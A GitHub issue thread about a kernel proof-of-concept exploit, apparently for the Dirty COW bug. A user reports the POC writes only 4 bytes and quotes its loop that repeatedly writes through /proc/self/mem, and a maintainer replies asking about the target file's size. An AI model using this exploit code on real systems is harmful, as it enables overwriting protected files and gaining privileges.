Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

POC writes only 4 bytes of payload #12

Closed
fastchain opened this issue Oct 21, 2016 · 1 comment
Closed

POC writes only 4 bytes of payload #12

fastchain opened this issue Oct 21, 2016 · 1 comment

Comments

@fastchain
Copy link

Linux bright 4.6.2-1-ARCH #1 SMP PREEMPT Wed Jun 8 08:40:59 CEST 2016 x86_64 GNU/Linux

POC writes only 4 bytes of payload.

Also, it looks like

int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,map,SEEK_SET);
c+=write(f,str,10);
}
printf("procselfmem %d\n\n", c);
}

also ruining other internal processes, which are affected by this bug.

@marioballano
Copy link

is the file you're trying to overwrite larger than 4 bytes?

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants